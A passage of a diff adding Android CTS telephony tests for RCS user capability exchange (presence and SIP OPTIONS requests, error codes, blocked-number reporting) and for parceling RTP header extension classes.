+                assertEquals(expectedCallbackResult.intValue(), waitForIntResult(errorQueue));
+                assertEquals(0L, waitForLongResult(retryAfterQueue));
+            } catch (Exception e) {
+                fail("requestAvailability with command error failed: " + e);
+            } finally {
+                errorQueue.clear();
+                retryAfterQueue.clear();
+            }
+        });
+
+        // Set the capabilities request will be failed with the 403 sip code
+        int networkResp = 403;
+        String networkRespReason = "";
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            cb.onNetworkResponse(networkResp, networkRespReason);
+        });
+
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+        // Verify that the callback "onError" is called with the error code FORBIDDEN
+        try {
+            assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(retryAfterQueue));
+        } catch (Exception e) {
+            fail("requestAvailability with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            retryAfterQueue.clear();
+        }
+
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the capabilities request is sill failed because the ImsService has returned
+        // the 403 error before.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(retryAfterQueue));
+        } catch (Exception e) {
+            fail("requestCapabilities with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            retryAfterQueue.clear();
+        }
+
+        finishUceActivity();
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testRequestCapabilities() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* OPTIONS */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        Collection<Uri> numbers = new ArrayList<>(1);
+        numbers.add(sTestNumberUri);
+
+        BlockingQueue<Long> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(new Long(errorCode));
+                errorQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // Prepare three contacts
+        final Uri contact1 = sTestNumberUri;
+        final Uri contact2 = sTestContact2Uri;
+        final Uri contact3 = sTestContact3Uri;
+
+        Collection<Uri> contacts = new ArrayList<>(3);
+        contacts.add(contact1);
+        contacts.add(contact2);
+        contacts.add(contact3);
+
+        ArrayList<String> pidfXmlList = new ArrayList<>(3);
+        pidfXmlList.add(getPidfXmlData(contact1, true, true));
+        pidfXmlList.add(getPidfXmlData(contact2, true, false));
+        pidfXmlList.add(getPidfXmlData(contact3, false, false));
+
+        // Setup the network response is 200 OK and notify capabilities update
+        int networkRespCode = 200;
+        String networkRespReason = "OK";
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            cb.onNetworkResponse(networkRespCode, networkRespReason);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+        });
+
+        // Stay in the foreground.
+        lunchUceActivity();
+
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        // Verify that all the three contact's capabilities are received
+        RcsContactUceCapability capability = waitForResult(capabilityQueue);
+        verifyCapabilityResult(capability, contact1, REQUEST_RESULT_FOUND, true, true);
+
+        capability = waitForResult(capabilityQueue);
+        verifyCapabilityResult(capability, contact2, REQUEST_RESULT_FOUND, true, false);
+
+        capability = waitForResult(capabilityQueue);
+        verifyCapabilityResult(capability, contact3, REQUEST_RESULT_FOUND, false, false);
+
+        // Verify the onCompleted is called
+        waitForResult(completeQueue);
+
+        errorQueue.clear();
+        completeQueue.clear();
+        capabilityQueue.clear();
+        removeTestContactFromEab();
+
+        // Setup the callback that some of the contacts are terminated.
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            List<Uri> uriList = new ArrayList(uris);
+            cb.onNetworkResponse(networkRespCode, networkRespReason);
+            // Notify capabilities updated for the first contact
+            String pidfXml = pidfXmlList.get(0);
+            cb.onNotifyCapabilitiesUpdate(Collections.singletonList(pidfXml));
+
+            List<Pair<Uri, String>> terminatedResources = new ArrayList<>();
+            for (int i = 1; i < uriList.size(); i++) {
+                Pair<Uri, String> pair = Pair.create(uriList.get(i), "noresource");
+                terminatedResources.add(pair);
+            }
+            cb.onResourceTerminated(terminatedResources);
+            cb.onTerminated("", 0L);
+        });
+
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        // Verify the first contact is found.
+        capability = waitForResult(capabilityQueue);
+        verifyCapabilityResult(capability, contact1, REQUEST_RESULT_FOUND, true, true);
+
+        // Verify the reset contacts are not found.
+        capability = waitForResult(capabilityQueue);
+        verifyCapabilityResult(capability, contact2, REQUEST_RESULT_NOT_FOUND, true, false);
+
+        capability = waitForResult(capabilityQueue);
+        verifyCapabilityResult(capability, contact3, REQUEST_RESULT_NOT_FOUND, false, false);
+
+        // Verify the onCompleted is called
+        waitForResult(completeQueue);
+
+        finishUceActivity();
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testRequestCapabilitiesWithOptionsMechanism() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, false, true /* OPTIONS enabled */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // The test contact
+        Collection<Uri> contacts = new ArrayList<>(3);
+        contacts.add(sTestNumberUri);
+
+        // The result callback
+        BlockingQueue<Long> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(new Long(errorCode));
+                errorQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // Set the result of the network response is 200 OK.
+        final List<String> featureTags = new ArrayList<>();
+        featureTags.add(FEATURE_TAG_CHAT);
+        featureTags.add(FEATURE_TAG_FILE_TRANSFER);
+        featureTags.add(FEATURE_TAG_MMTEL_AUDIO_CALL);
+        featureTags.add(FEATURE_TAG_MMTEL_VIDEO_CALL);
+        capabilityExchangeImpl.setOptionsOperation((contact, myCapabilities, optionsCallback) -> {
+            int sipCode = 200;
+            String reason = "OK";
+            optionsCallback.onNetworkResponse(sipCode, reason, featureTags);
+        });
+
+        // Request capabilities by calling the API requestCapabilities.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+
+        // Verify the callback "onCapabilitiesReceived" is called.
+        RcsContactUceCapability capability = waitForResult(capabilityQueue);
+        // Verify the callback "onComplete" is called.
+        waitForResult(completeQueue);
+        assertNotNull("RcsContactUceCapability should not be null", capability);
+        assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK, capability.getSourceType());
+        assertEquals(sTestNumberUri, capability.getContactUri());
+        assertEquals(RcsContactUceCapability.REQUEST_RESULT_FOUND, capability.getRequestResult());
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_OPTIONS,
+                capability.getCapabilityMechanism());
+        List<String> resultFeatureTags = capability.getOptionsFeatureTags();
+        assertEquals(featureTags.size(), resultFeatureTags.size());
+        for (String featureTag : featureTags) {
+            if (!resultFeatureTags.contains(featureTag)) {
+                fail("Cannot find feature tag in the result");
+            }
+        }
+        errorQueue.clear();
+        completeQueue.clear();
+        capabilityQueue.clear();
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Request capabilities by calling the API requestAvailability.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestAvailability(sTestContact2Uri,
+                            Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+
+        // Verify the callback "onCapabilitiesReceived" is called.
+        capability = waitForResult(capabilityQueue);
+        // Verify the callback "onComplete" is called.
+        waitForResult(completeQueue);
+        assertNotNull("RcsContactUceCapability should not be null", capability);
+        assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK, capability.getSourceType());
+        assertEquals(sTestContact2Uri, capability.getContactUri());
+        assertEquals(RcsContactUceCapability.REQUEST_RESULT_FOUND, capability.getRequestResult());
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_OPTIONS,
+                capability.getCapabilityMechanism());
+        resultFeatureTags = capability.getOptionsFeatureTags();
+        assertEquals(featureTags.size(), resultFeatureTags.size());
+        for (String featureTag : featureTags) {
+            if (!resultFeatureTags.contains(featureTag)) {
+                fail("Cannot find feature tag in the result");
+            }
+        }
+        errorQueue.clear();
+        completeQueue.clear();
+        capabilityQueue.clear();
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Set the OPTIONS result is failed.
+        capabilityExchangeImpl.setOptionsOperation((contact, myCapabilities, optionsCallback) -> {
+            int sipCode = 400;
+            String reason = "Bad Request";
+            optionsCallback.onNetworkResponse(sipCode, reason, Collections.EMPTY_LIST);
+        });
+
+        // Request capabilities by calling the API requestCapabilities.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+
+        // Verify the callback "onError" is called.
+        assertEquals(RcsUceAdapter.ERROR_GENERIC_FAILURE, waitForLongResult(errorQueue));
+
+        // The callback "onCapabilitiesReceived" should not be called.
+        if (capabilityQueue.poll() != null) {
+            fail("onCapabilitiesReceived should not be called.");
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testOptionsRequestFromNetwork() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, false, true /* OPTIONS enabled */);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        final Uri contact = sTestContact2Uri;
+        List<String> remoteCapabilities = new ArrayList<>();
+        remoteCapabilities.add(FEATURE_TAG_CHAT);
+        remoteCapabilities.add(FEATURE_TAG_FILE_TRANSFER);
+        remoteCapabilities.add(FEATURE_TAG_MMTEL_AUDIO_CALL);
+        remoteCapabilities.add(FEATURE_TAG_MMTEL_VIDEO_CALL);
+        BlockingQueue<Pair<RcsContactUceCapability, Boolean>> respToCapRequestQueue =
+                new LinkedBlockingQueue<>();
+        OptionsRequestCallback callback = new OptionsRequestCallback() {
+            @Override
+            public void onRespondToCapabilityRequest(RcsContactUceCapability capabilities,
+                    boolean isBlocked) {
+                respToCapRequestQueue.offer(new Pair<>(capabilities, isBlocked));
+            }
+            @Override
+            public void onRespondToCapabilityRequestWithError(int sipCode, String reason) {
+            }
+        };
+
+        // Notify the remote capability request
+        eventListener.onRemoteCapabilityRequest(contact, remoteCapabilities, callback);
+
+        // Verify receive the result
+        Pair<RcsContactUceCapability, Boolean> capability = waitForResult(respToCapRequestQueue);
+        assertNotNull("RcsContactUceCapability should not be null", capability);
+        assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK, capability.first.getSourceType());
+        assertEquals(RcsContactUceCapability.REQUEST_RESULT_FOUND,
+                capability.first.getRequestResult());
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_OPTIONS,
+                capability.first.getCapabilityMechanism());
+        // Should not report blocked
+        assertFalse("This number is not blocked, so the API should not report blocked",
+                capability.second);
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testOptionsRequestFromNetworkBlocked() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, false, true /* OPTIONS enabled */);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        final Uri contact = sTestNumberUri;
+        List<String> remoteCapabilities = new ArrayList<>();
+        remoteCapabilities.add(FEATURE_TAG_CHAT);
+        remoteCapabilities.add(FEATURE_TAG_FILE_TRANSFER);
+        remoteCapabilities.add(FEATURE_TAG_MMTEL_AUDIO_CALL);
+        remoteCapabilities.add(FEATURE_TAG_MMTEL_VIDEO_CALL);
+
+        BlockingQueue<Pair<RcsContactUceCapability, Boolean>> respToCapRequestQueue =
+                new LinkedBlockingQueue<>();
+        OptionsRequestCallback callback = new OptionsRequestCallback() {
+            @Override
+            public void onRespondToCapabilityRequest(RcsContactUceCapability capabilities,
+                    boolean isBlocked) {
+                respToCapRequestQueue.offer(new Pair<>(capabilities, isBlocked));
+            }
+            @Override
+            public void onRespondToCapabilityRequestWithError(int sipCode, String reason) {
+            }
+        };
+
+        // Must be default SMS app to block numbers
+        sServiceConnector.setDefaultSmsApp();
+        Uri blockedUri = BlockedNumberUtil.insertBlockedNumber(getContext(), sTestPhoneNumber);
+        assertNotNull("could not block number", blockedUri);
+        try {
+            // Notify the remote capability request
+            eventListener.onRemoteCapabilityRequest(contact, remoteCapabilities, callback);
+
+            // Verify receive the result
+            Pair<RcsContactUceCapability, Boolean> capability =
+                    waitForResult(respToCapRequestQueue);
+            assertNotNull("RcsContactUceCapability should not be null", capability);
+            assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK,
+                    capability.first.getSourceType());
+            assertEquals(RcsContactUceCapability.REQUEST_RESULT_FOUND,
+                    capability.first.getRequestResult());
+            assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_OPTIONS,
+                    capability.first.getCapabilityMechanism());
+            // Should report blocked
+            assertTrue("this number is blocked, so API should report blocked",
+                    capability.second);
+        } finally {
+            BlockedNumberUtil.deleteBlockedNumber(getContext(), blockedUri);
+            sServiceConnector.restoreDefaultSmsApp();
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    private void setupTestImsService(RcsUceAdapter uceAdapter, boolean presencePublishEnabled,
+            boolean presenceCapExchangeEnabled, boolean sipOptionsEnabled) throws Exception {
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL,
+                presencePublishEnabled);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                presenceCapExchangeEnabled);
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, sipOptionsEnabled);
+        overrideCarrierConfig(bundle);
+
+        // Connect to the TestImsService
+        connectTestImsService();
+    }
+
+    private String getPidfXmlData(Uri contact, boolean audioSupported, boolean videoSupported) {
+        StringBuilder pidfBuilder = new StringBuilder();
+        pidfBuilder.append("<?xml version='1.0' encoding='utf-8' standalone='yes' ?>")
+                .append("<presence entity=\"").append(contact).append("\"")
+                .append(" xmlns=\"urn:ietf:params:xml:ns:pidf\"")
+                .append(" xmlns:op=\"urn:oma:xml:prs:pidf:oma-pres\"")
+                .append(" xmlns:caps=\"urn:ietf:params:xml:ns:pidf:caps\">")
+                .append("<tuple id=\"tid0\"><status><basic>open</basic></status>")
+                .append("<op:service-description>")
+                .append("<op:service-id>service_id_01</op:service-id>")
+                .append("<op:version>1.0</op:version>")
+                .append("<op:description>description_test1</op:description>")
+                .append("</op:service-description>")
+                .append("<caps:servcaps>")
+                .append("<caps:audio>").append(audioSupported).append("</caps:audio>")
+                .append("<caps:video>").append(videoSupported).append("</caps:video>")
+                .append("</caps:servcaps>")
+                .append("<contact>").append(contact).append("</contact>")
+                .append("</tuple></presence>");
+        return pidfBuilder.toString();
+    }
+
+    private void verifyCapabilityResult(RcsContactUceCapability resultCapability, Uri expectedUri,
+            int expectedResult, boolean expectedAudioSupported, boolean expectedVideoSupported) {
+        // Verify the contact URI
+        assertEquals(expectedUri, resultCapability.getContactUri());
+
+        // Verify the source type is the network type.
+        assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK,
+                resultCapability.getSourceType());
+
+        // Verify the request result is expected.
+        final int requestResult = resultCapability.getRequestResult();
+        assertEquals(requestResult, expectedResult);
+
+        // Return directly if the result is not found.
+        if (requestResult == REQUEST_RESULT_NOT_FOUND) {
+            return;
+        }
+
+        // Verify the mechanism is presence
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_PRESENCE,
+                resultCapability.getCapabilityMechanism());
+
+        RcsContactPresenceTuple presenceTuple =
+                resultCapability.getCapabilityTuple("service_id_01");
+        assertNotNull("Contact Presence tuple should not be null!", presenceTuple);
+
+        ServiceCapabilities capabilities = presenceTuple.getServiceCapabilities();
+        assertNotNull("Service capabilities should not be null!", capabilities);
+
+        // Verify if the audio is supported
+        assertEquals(expectedAudioSupported, capabilities.isAudioCapable());
+
+        // Verify if the video is supported
+        assertEquals(expectedVideoSupported, capabilities.isVideoCapable());
     }
 
     private void registerUceObserver(Consumer<Uri> resultConsumer) {
@@ -283,7 +1422,149 @@
         }
     }
 
+    private int waitForIntResult(BlockingQueue<Integer> queue) throws Exception {
+        Integer result = queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        return result != null ? result : Integer.MAX_VALUE;
+    }
+
+    private long waitForLongResult(BlockingQueue<Long> queue) throws Exception {
+        Long result = queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        return result != null ? result : Long.MAX_VALUE;
+    }
+
+    private <T> T waitForResult(BlockingQueue<T> queue) throws Exception {
+        return queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
     private static Context getContext() {
         return InstrumentationRegistry.getInstrumentation().getContext();
     }
+
+    private void connectTestImsService() throws Exception {
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+        assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+        // Make sure the RcsFeature was created in the test service.
+        assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+        assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+                sServiceConnector.getCarrierService().waitForLatchCountdown(
+                        TestImsService.LATCH_UCE_LISTENER_SET));
+        int serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+                sTestSlot, serviceSlot);
+    }
+
+    private static void initPhoneNumbers() {
+        // Generate a random phone number
+        sTestPhoneNumber = generateRandomPhoneNumber();
+        sTestNumberUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, sTestPhoneNumber, null);
+
+        sTestContact2 = generateRandomContact(5);
+        sTestContact2Uri = Uri.fromParts(PhoneAccount.SCHEME_SIP, sTestContact2, null);
+
+        sTestContact3 = generateRandomContact(6);
+        sTestContact3Uri = Uri.fromParts(PhoneAccount.SCHEME_SIP, sTestContact3, null);
+    }
+
+    private static String generateRandomPhoneNumber() {
+        Random random = new Random();
+        StringBuilder builder = new StringBuilder();
+        for (int i = 0; i < 10; i++) {
+            builder.append(random.nextInt(10));
+        }
+        return builder.toString();
+    }
+
+    private static String generateRandomContact(int length) {
+        Random random = new Random();
+        StringBuilder builder = new StringBuilder("TestContact");
+        for (int i = 0; i < length; i++) {
+            int asciiNum = random.nextInt(26) + 65;  // ascii 65
+            builder.append((char) asciiNum);
+        }
+        return builder.toString();
+    }
+
+    private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
+        CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
+                .getContext().getSystemService(CarrierConfigManager.class);
+        sReceiver.clearQueue();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(sTestSub, bundle));
+        sReceiver.waitForCarrierConfigChanged();
+    }
+
+    private static void removeTestContactFromEab() {
+        try {
+            StringBuilder builder = new StringBuilder();
+            builder.append(sTestPhoneNumber)
+                    .append(",").append(sTestContact2)
+                    .append(",").append(sTestContact3);
+            sServiceConnector.removeEabContacts(sTestSlot, builder.toString());
+        } catch (Exception e) {
+            Log.w("RcsUceAdapterTest", "Cannot remove test contacts from eab database: " + e);
+        }
+    }
+
+    private void requestCapabilities(RcsUceAdapter uceAdapter, Collection<Uri> numbers,
+            RcsUceAdapter.CapabilitiesCallback callback) {
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE. "
+                    + "Exception: " + e);
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+    }
+
+    private void requestAvailability(RcsUceAdapter uceAdapter, Uri number,
+            RcsUceAdapter.CapabilitiesCallback callback) {
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestAvailability(number, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestAvailability should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE. "
+                    + "Exception: " + e);
+        } catch (ImsException e) {
+            fail("requestAvailability failed " + e);
+        }
+    }
+
+    private void lunchUceActivity() throws Exception {
+        final CountDownLatch countdownLatch = new CountDownLatch(1);
+        final Intent activityIntent = new Intent(getContext(), UceActivity.class);
+        activityIntent.setAction(Intent.ACTION_MAIN);
+        activityIntent.addCategory(Intent.CATEGORY_LAUNCHER);
+        activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        UceActivity.setCountDownLatch(countdownLatch);
+        getContext().startActivity(activityIntent);
+        countdownLatch.await(5000, TimeUnit.MILLISECONDS);
+    }
+
+    private void finishUceActivity() {
+        final Intent finishIntent = new Intent(getContext(), UceActivity.class);
+        finishIntent.setAction(UceActivity.ACTION_FINISH);
+        finishIntent.addCategory(Intent.CATEGORY_LAUNCHER);
+        finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        getContext().startActivity(finishIntent);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTest.java
new file mode 100644
index 0000000..01ce64e
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ims.RtpHeaderExtension;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class RtpHeaderExtensionTest {
+    @Test
+    public void testParceling() {
+        byte[] testBytes = new byte[1];
+        testBytes[0] = 5;
+        RtpHeaderExtension extension = new RtpHeaderExtension(1, testBytes);
+        assertEquals(1, extension.getLocalIdentifier());
+        assertEquals(5, extension.getExtensionData()[0]);
+
+        Parcel dataParceled = Parcel.obtain();
+        extension.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        RtpHeaderExtension unparceledData =
+                RtpHeaderExtension.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals(extension.getLocalIdentifier(), unparceledData.getLocalIdentifier());
+        assertEquals(extension.getExtensionData()[0], unparceledData.getExtensionData()[0]);
+        assertEquals(extension, unparceledData);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTypeTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTypeTest.java
new file mode 100644
index 0000000..e34e9ab
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTypeTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.telephony.ims.RtpHeaderExtensionType;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class RtpHeaderExtensionTypeTest {
+    private static final int TEST_ID = 1;
+    private static final Uri TEST_URI = Uri.parse("http://developer.android.com/092020/test1");
+
+    @Test
+    public void testParceling() {
+        RtpHeaderExtensionType test = new RtpHeaderExtensionType(TEST_ID, TEST_URI);
+        assertEquals(TEST_ID,  test.getLocalIdentifier());
+        assertEquals(TEST_URI, test.getUri());
+
+        Parcel dataParceled = Parcel.obtain();
+        test.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        RtpHeaderExtensionType unparceledData =
+                RtpHeaderExtensionType.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals(test, unparceledData);
